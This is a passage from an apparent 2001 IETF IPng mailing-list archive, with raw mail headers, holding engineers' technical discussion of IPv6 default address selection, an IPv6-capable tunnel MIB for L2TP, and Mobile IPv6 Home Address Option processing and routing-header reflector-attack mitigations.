prefix P::/32 and Q::/64 (P:: != Q::), both of which can be used to autoconfigure addresses and are regarded as on-link. The host thus configures P::a and Q::b as its addresses accordingly. Then the host tries to send a packet to a remote node, and the host name resolves to P::c and Q'::d, where Q' matches Q:: in 48 bits. Then the longest matching rule will choose the set of (src=Q::b, dst=Q'::d). But this may not be the best combination, because the source and the destination is not on-link and may need many hops in terms of routing, while P::a and P::c is on-link and can be accessed within the same single link. I know this is quite an artificial example, but I still think the longest matching in the destination address ordering does not buy much. For the source address selection, however, the longest matching is sometimes useful, because for a given destination address we can choose a source address in the same ISPs prefix block, which may have advantage wrt the routing. BTW, as for the deterministic behavior, the longest matching still cannot be the final tie-breaker, as described in the addr-select draft. If we need full deterministic algorithm, we'll need another (almost meaningless) rule like "choose a smaller address" which I recall someone mentioned before in this list. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 09:02:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB9H2FvU007613 for ; Sun, 9 Dec 2001 09:02:15 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB9H2Fft007612 for ipng-dist; Sun, 9 Dec 2001 09:02:15 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB9H2BvU007605 for ; Sun, 9 Dec 2001 09:02:11 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA13813 for ; Sun, 9 Dec 2001 09:02:13 -0800 (PST) Received: from eins.siemens.at (eins.siemens.at [193.81.246.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA06644 for ; Sun, 9 Dec 2001 10:02:46 -0700 (MST) Received: from scesie13.sie.siemens.at (forix [10.1.140.2]) by eins.siemens.at with ESMTP id fB9H29T23033; Sun, 9 Dec 2001 18:02:09 +0100 Received: (from smap@localhost) by scesie13.sie.siemens.at (8.9.3/8.9.3) id SAA06536; Sun, 9 Dec 2001 18:02:08 +0100 (MET) Received: from atws15tc.sie.siemens.at(158.226.135.41) by scesie13 via smap (V2.0beta) id xma006479; Sun, 9 Dec 01 18:01:55 +0100 Received: by vies194a.sie.siemens.at with Internet Mail Service (5.5.2653.19) id ; Sun, 9 Dec 2001 18:01:53 +0100 Message-ID: From: Klausberger Walter To: "'Daniel Feldman'" , "W. Mark Townsley" Cc: l2tpext@ietf.org, ipng@sunroof.eng.sun.com Subject: RE: [L2tpext] IP Tunnel MIB Date: Sun, 9 Dec 2001 18:01:53 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, I think the Tunnel MIB was fine, when it was defined, but I do not think that it was a very good idea to use it as base for L2TP. Maybe you could do a fast adaptation by changing TOS to traffic class and the like, but don't we need additional enhancements in the near future. The tunnel MIB is fixed to IPv4. I had some discussion with Evan Caves and Dave Thaler during the San Diego meeting a year ago. This MIB fits for all kind of statically used tunnels over IPv4, but I found a lot of problems together with dynamically created tunnels (in LAC case via RADIUS) and L2TP over ATM/Frame Relay (e.g. endpoint identifier, security,...). Now we have this new case with IPv6. Next may be MPLS or something else. Shouldn't we consider an alternativ to the Tunnel MIB as part of a new MIB for L2TP, which is still no RFC (I wonder if it will ever become an RFC)? Or should we think of an advanced version of a more generic Tunnel MIB. Or should we make a seperate MIB for L2TP over IPv6? (then we should do be more flexible than the Tunnel MIB)? Hope you think not I'm a radical, but this issue concerns me for more than a year now and so IPv6 is just a new trigger. I hoped that we could fix all the problems with a new MIB for L2TPv3... regards - walter > -----Original Message----- > From: Daniel Feldman [mailto:daniel@ic4ic.com] > Sent: Saturday, December 08, 2001 7:12 AM > To: W. Mark Townsley > Cc: l2tpext@ietf.org; ipng@sunroof.eng.sun.com > Subject: RE: [L2tpext] IP Tunnel MIB > > > Sorry, I wasn't on the L2TPext list back in March... > > The minimal modification that RFC2667 should suffer in order > to be IPv6 > compatible would be, of coarse, having the IP address fields changed > from 32 to 128 bits. Another possible change would be > including the Flow > Label field to the TunnelIfEntry (it includes now LocalAddress, > RemoteAddress, EncapsMethod, HopLimit, Security and TOS). TOS can be > used as traffic class, so just a name change there. > > -----Original Message----- > From: W. Mark Townsley [mailto:townsley@cisco.com] > Sent: Saturday, December 08, 2001 2:45 AM > To: Daniel Feldman > Cc: l2tpext@ietf.org; ipng@sunroof.eng.sun.com > Subject: Re: [L2tpext] IP Tunnel MIB > > > > > Daniel Feldman wrote: > > > > Dear IPNG and L2TP groups, > > RFC 2667 deals with IP Tunnel MIB, which is needed for the > L2TP > > MIB. However, it only supports IPv4: > > > > "Finally, this MIB does not support tunnels over non-IPv4 networks > > (including IPv6 networks). Management of such tunnels may be > supported > > by other MIBs." > > > > Is there any work on such an MIB? > > Not that I know of. > > > It is required for having L2TP > > over IPv6... > > I pinged the list back in March about L2TP over IPv6 and received > nothing but > deafening silence. I would hope that any changes in the MIB to support > L2TP over > IPv6 would be very, very, minimal. > > > > > Thanks in advance, > > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > Daniel Feldman > > System Engineer, IC4IC Ltd. > > office: +972(4)959-4644 ext. 121 > > mobile: +972(55)990-299 > > fax: +972(4)959-4944 > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > _______________________________________________ > > L2tpext mailing list > > L2tpext@ietf.org > > https://www1.ietf.org/mailman/listinfo/l2tpext > > _______________________________________________ > L2tpext mailing list > L2tpext@ietf.org > https://www1.ietf.org/mailman/listinfo/l2tpext > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 11:55:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB9JtfvU007932 for ; Sun, 9 Dec 2001 11:55:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB9JtfAc007931 for ipng-dist; Sun, 9 Dec 2001 11:55:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB9JtcvU007924 for ; Sun, 9 Dec 2001 11:55:38 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA28098 for ; Sun, 9 Dec 2001 11:55:39 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA09704 for ; Sun, 9 Dec 2001 12:55:38 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fB9JtR922574; Sun, 9 Dec 2001 11:55:28 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAM17625; Sun, 9 Dec 2001 11:54:52 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA02231; Sun, 9 Dec 2001 11:55:26 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15379.49582.500926.507376@thomasm-u1.cisco.com> Date: Sun, 9 Dec 2001 11:55:26 -0800 (PST) To: "Jari T. Malinen" Cc: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <3C0EA5C6.ADD01F1A@iprg.nokia.com> References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm-u1.cisco.com> <3C0DB6DE.A52D0019@iprg.nokia.com> <15374.26819.630128.842441@thomasm-u1.cisco.com> <3C0EA5C6.ADD01F1A@iprg.nokia.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari T. Malinen writes: > I am not sure we understand orthogonality the same way, > what I meant was that the only real issue with HAO is how > to protect it end-to-end always. There is no improvement > in this respect if we change HAO to a new extension header. > The security issue is not HAO-specific, we need to protect > any header carrying the HAddr against cases brought up by > Pekka. Right. I think we're saying the same thing. > Hence, once a "weak authentication" method is chosen it > is again possible to always protect HAO (as well as even a > nicer tunneling header). We still need a MAC field for that and > for this there is an easy way. To conclude, dst.hdr is in RFC, > the new proposal an individual draft so I'd say it could be > something to consider for a second generation of Mobile IPv6, > perhaps. I'm afraid that there's more to this than that. One of the implications of Pekka's observation is that the binding cache is no longer a cache. That is, you cannot evict the cache entry and still function properly. The reason is not the CoA and RH which will clearly still work, but the HAO. If you drop the cache entry, the CN will see a HAO which it doesn't know whether to believe and thus would have to drop (or send a binding solicit, etc). This bothers me quite a bit as going from soft state to hard state should never be taken lightly. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 14:50:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB9Mo3vU008520 for ; Sun, 9 Dec 2001 14:50:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB9Mo3cf008519 for ipng-dist; Sun, 9 Dec 2001 14:50:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB9MnuvU008504; Sun, 9 Dec 2001 14:49:56 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA07914; Sun, 9 Dec 2001 14:49:58 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA10662; Sun, 9 Dec 2001 14:49:57 -0800 (PST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id OAA17836; Sun, 9 Dec 2001 14:49:47 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB9MnkX25107; Sun, 9 Dec 2001 14:49:46 -0800 X-mProtect: Sun, 9 Dec 2001 14:49:46 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdilMl7v; Sun, 09 Dec 2001 14:49:45 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id OAA31604; Sun, 9 Dec 2001 14:49:45 -0800 (PST) Message-ID: <3C13EA89.CAF04E3@iprg.nokia.com> Date: Sun, 09 Dec 2001 14:49:45 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola CC: Jari Arkko , ipng@sunroof.eng.sun.com, mobile-ip@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, The HAO issue you mention can arguably be considered an implementation issue, taken care by the note in the MIPv6 draft. However, it should be mandatory. I'll discuss this below. I'll also cross-post this note to the mobile-ip since you asked it there without anybody answering. Pekka Savola wrote: > > On Fri, 7 Dec 2001, Jari T. Malinen wrote: > > Jari Arkko wrote: > > > > > > > To conclude, dst.hdr is in RFC, > > > > the new proposal an individual draft so I'd say it could be > > > > something to consider for a second generation of Mobile IPv6, > > > > perhaps. > > > > > > Just a clarifying question to make sure I have correctly understood > > > the current situation with the HAO: the DO header is in the basic > > > IPv6 RFCs. However, the format of a specific DO that can be > > > used to carry the Home Address, HAO, is defined in the MIPv6 > > > I-D. I'm asking this because we'd very much like to publish the > > > cellular host draft as an RFC soon, and in order to require the > > > use of the HAO we need not just a resolution to the security > > > worries, but also a reference to some RFC that defines the HAO. > > > Unless I'm mistaken, we currently don't have such an RFC anywhere. > > > Or? > > > > True, though Mobile IPv6 seems to have a process and timetable to > > achieve the same goal and also be in last stages of the process. > > > > HAO was presented to ipng as a mandatory feature before IPv6 was > > finalized and it was designed to fill a missing piece of IPv6 > > functionality to support mobility. At that time it was endorsed > > by the ipng wg and it ended up in the MIPv6 draft. It has been > > pretty stable ever since. The only reason it is not yet in RFC is > > due to non-HAO-format related issues. > > Btw, > > One interesting detail of HAO is that its processing isn't defined > anywhere. > > If you look at MIPv6 draft, the only thing it says about this (AFAICS) is > a note in security considerations that it could be implemented like > swapping the addresses. This issue of HAO processing was supposed to be covered by the note you refer to. On my opinion it is a very important note and should have had more emphasis, but according to some other implementors, discussed (also) in the ETSI Bakeoff 1 year back, there was some issue of read-only buffers in somebody's implementation which kept the formulation as it is now. Or maybe I remember it incorrectly, I did not quite understand motivation for the concern then. There is a subtle transparency issue involved in this note. MIPv6 provides transparency by letting applications see the packet as if coming from the home address. In implementation this is at least considered to mean that when an application reads the IP source address from the socket, it is the home address. This implementation detail is not verbosely explained since it should be obvious to implementors what application transparency (from changes of the CoA) means in this respect. The processing order both sending and receiving need to be such that the transparency is obtained, e.g. for an SCTP INIT packet to have an IPv6 option which can be the home address with exactly the same machinery used with non-HAO packets. Any other protocol when using HAddr for communication need to experience the same degree of transparency. But, when processing other headers beyond HAO in an implementation, transparency should also mean they see the home address in IP source just like in a non-MIPv6 data packet. For example, when constructing an AH, and the note is followed, we observe the swapping happens at HAO processing in the receiving end before AH processing. If the expressed transparency principle would be followed in IPsec integration to the fullest, this would mean the receiving AH processing sees HAddr in IP source. When following in AH ICV computation the rule of having the authenticated data as seen by the receiver after processing, it should take into account this swap (swap the addresses in the ICV computation copy of a to-be sent packet to reflect the same swap at the receiving end's HAO processing). Hence, on my opinion, the note should be elevated to be something mandatory. This would fully implement the transparency principle. It requires no message format or interface changes to IPsec, only for it to follow its existing principle of making authenticated packet look like one seen by the receiver (to reflect the swap of CoA and HAddr in case of HOA option in a to-be sent packet when doing the ICV generation). Some called this note just an implementation detail, to me there is more to it, it gives a processing rule needed for clean implementation of transparency. Now there may be implementations with tricks to avoid this processing when assuming IPsec implementation is untouchable to the latest bit (the swap can't be done until all IPsec implementations agree, since otherwise we'll get wrong MAC value from the other end not doing the swap when this end follows the rule).. Hence, this is more of an issue of harmonizing protocol engineering implementation rules for inter-protocol interworking than an actual security issue. > I have brought this up in mobile-ip@ but there wasn't any response... Hope this gives one answer. I also hope implementors seeing this otherwise would express their concerns now. I'd say it also points there is a siginficant body of experimentation done with current components of MIPv6, HAO included. Changing its format now would mean a long re-rehearsal to get to the same state of experience. Possible, but this should be taken into account when deciding so. > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 16:05:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA05svU008736 for ; Sun, 9 Dec 2001 16:05:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBA05sO3008735 for ipng-dist; Sun, 9 Dec 2001 16:05:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA05pvU008728 for ; Sun, 9 Dec 2001 16:05:51 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA12415 for ; Sun, 9 Dec 2001 16:05:52 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA20948 for ; Sun, 9 Dec 2001 17:05:52 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA19554 for ; Sun, 9 Dec 2001 16:05:51 -0800 (PST) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBA05pK16133 for ; Sun, 9 Dec 2001 16:05:51 -0800 X-mProtect: Sun, 9 Dec 2001 16:05:51 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdoDftlP; Sun, 09 Dec 2001 16:05:49 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id QAA31684 for ; Sun, 9 Dec 2001 16:05:49 -0800 (PST) Message-ID: <3C13FC5D.6BA3CF2B@iprg.nokia.com> Date: Sun, 09 Dec 2001 16:05:49 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Erik Nordmark wrote: > > > It seems that in mobileip wg, reflector attack scenarios were > > identified for routing headers in Savola's draft. One solution, > > which seems to me feasible to implement (no state needed), > > was to mandate segments left to 1 and check that the address > > in the routing header is owned by the receiving MN host. > > Seems these scenarios are not necessarily mobileip-specific. > > I am wondering, are routing headers in this wg considered > > a special-purpose mechanism that cannot be used? > > While such a check is reasonable for a host, a firewall can't actually > check this since it doesn't know the relationship between Care of Addresses > and Home Addresses. > I don't know how significant this issue is but given the concerns > expressed in Savola's draft about allowing general routing headers through > firewalls it seems worth-while to think about this and not immediately dismiss > it - having a separate packet format for routing headers (specifying > addresses of one ore more hops) from the ability to specify an extra > IP address for the destination *might* be the better thing to do. I have some doubt on this being better. How I would understand this issue to apply is when a firewall e.g. would like to enforce: don't let source routed packets through but only packets with both addresses in the same end-host. Though the firewall can't know CoA-HAddr associations, it might not want to enforce these packets only to concern MNs. The same reflector attacks could also be done using non-MN hosts. When enforcing the above example firewall policy, maybe it could be less change-requiring to recommend the host-check rule also for non-MN's (CNs). Then, a firewall would allow only rthdrs with segments left 1 through. If reflector scenarios need to be avoided in the domain, end nodes need to enforce this. This because also tunneling to an end host can be made to reflect the inner packet to another host. Hence, a format change in a protocol may not be what is needed to address this issue, a rule in one form or another in the end hosts might be needed anyway. Inventing a new format could make the rule look implicit, though it needs to be enforced anyway in an implementation. Comparing to having a new message format, all hosts using it would anyway need to implement the new format. The host rule for rthdr would have the same scope of implementation change but with existing protocol messages, and the change would only be an added check in implementation of existing protocols, without protocol specification. Does this address the issue? > Erik BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 16:17:29 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA0HTvU008823 for ; Sun, 9 Dec 2001 16:17:29 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBA0HTUa008822 for ipng-dist; Sun, 9 Dec 2001 16:17:29 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA0HQvU008815 for ; Sun, 9 Dec 2001 16:17:26 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA29609 for ; Sun, 9 Dec 2001 16:17:27 -0800 (PST) Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.121]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA29254 for ; Sun, 9 Dec 2001 16:17:27 -0800 (PST) Received: from inet-vrs-05.redmond.corp.microsoft.com ([157.54.6.148]) by mail5.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Sun, 9 Dec 2001 16:17:26 -0800 Received: from 157.54.6.197 by inet-vrs-05.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sun, 09 Dec 2001 16:17:26 -0800 Received: from red-msg-06.redmond.corp.microsoft.com ([157.54.12.71]) by inet-hub-06.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Sun, 9 Dec 2001 16:17:25 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Subject: RE: "Default Address Selection for IPv6" Date: Sun, 9 Dec 2001 16:17:25 -0800 Message-ID: <7695E2F6903F7A41961F8CF888D87EA80355FE84@red-msg-06.redmond.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: "Default Address Selection for IPv6" thread-index: AcGAjCflDQ6uaNIqRPmFtx27Vgm30AAgZWqM From: "Richard Draves" To: =?utf-8?B?SklOTUVJIFRhdHV5YSAvIOelnuaYjumBlOWTiQ==?= , "Robert Elz" Cc: X-OriginalArrivalTime: 10 Dec 2001 00:17:25.0697 (UTC) FILETIME=[0B96B310:01C18110] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by sunroof.eng.sun.com id fBA0HQvU008816 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk A node can know a prefix length associated with its own addresses, but it won't know the prefix length associated with addresses that it has retrieved from DNS. This makes it impossible to cap the longest-matching-prefix check with the "right" prefix length. I don't see that it's harmful to compare all the bits and it simplifies the algorithm and avoids hard-coding a dependency on 64. (Which will not always be the right number, even today.) As I wrote earlier, an administrator who cares can use the policy rules or interface preference to achieve the desired result in Alain's scenario. This will be a big step forward: today an administrator has no control at all in these situations. It's very easy to construct examples where the longest-matching-prefix heuristic does the wrong thing, both in source address selection and destination address ordering. However I believe that overall it will produce better node behavior. I think the algorithm can be helpful without being fully deterministic. After all, with different implementation choices (most of the provisions are "should"), policy configuration choices, and application override, a node's behavior would not actually be deterministic anyway. But if the WG wants to add a final tie-breaker (like numeric order of the two source addresses) I would not be strongly opposed. Rich -----Original Message----- From: JINMEI Tatuya / 神明é”哉 [mailto:jinmei@isl.rdc.toshiba.co.jp] Sent: Sun 12/9/2001 12:28 AM To: Robert Elz Cc: ipng@sunroof.eng.sun.com Subject: Re: "Default Address Selection for IPv6" >>>>> On Fri, 07 Dec 2001 17:12:17 +0700, >>>>> Robert Elz said: > | is in my opinion more suitable than sorting interfaces on the particular > | brand of NIC card they are using. > There's certainly nothing to commend using the MAC addresses, other than > that they simplify the algorithm (no special cases), and most particularly > avoid building in any knowledge of 64 in places where it does not belong. > If you can specify this such that it actually uses the currently configured > prefix lengths (no mention of the number 64 anywhere) and actually find a > way to make the outcome predictable, then I'd be more inclined to accept it > as a reasonable change. Otherwise not. I agree with kre as for hardcoding 64; it's better to use the configured prefix length (which may or may not be equal to 64). However, I'd rather think longest matching is meaningless in the destination address ordering, especially with this generalization. For example consider the following configuration: A host has two prefix P::/32 and Q::/64 (P:: != Q::), both of which can be used to autoconfigure addresses and are regarded as on-link. The host thus configures P::a and Q::b as its addresses accordingly. Then the host tries to send a packet to a remote node, and the host name resolves to P::c and Q'::d, where Q' matches Q:: in 48 bits. Then the longest matching rule will choose the set of (src=Q::b, dst=Q'::d). But this may not be the best combination, because the source and the destination is not on-link and may need many hops in terms of routing, while P::a and P::c is on-link and can be accessed within the same single link. I know this is quite an artificial example, but I still think the longest matching in the destination address ordering does not buy much. For the source address selection, however, the longest matching is sometimes useful, because for a given destination address we can choose a source address in the same ISPs prefix block, which may have advantage wrt the routing. BTW, as for the deterministic behavior, the longest matching still cannot be the final tie-breaker, as described in the addr-select draft. If we need full deterministic algorithm, we'll need another (almost meaningless) rule like "choose a smaller address" which I recall someone mentioned before in this list. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 16:36:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA0aDvU008854 for ; Sun, 9 Dec 2001 16:36:13 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBA0aC6Z008853 for ipng-dist; Sun, 9 Dec 2001 16:36:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA0a8vU008846 for ; Sun, 9 Dec 2001 16:36:09 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA12399 for ; Sun, 9 Dec 2001 16:36:10 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp 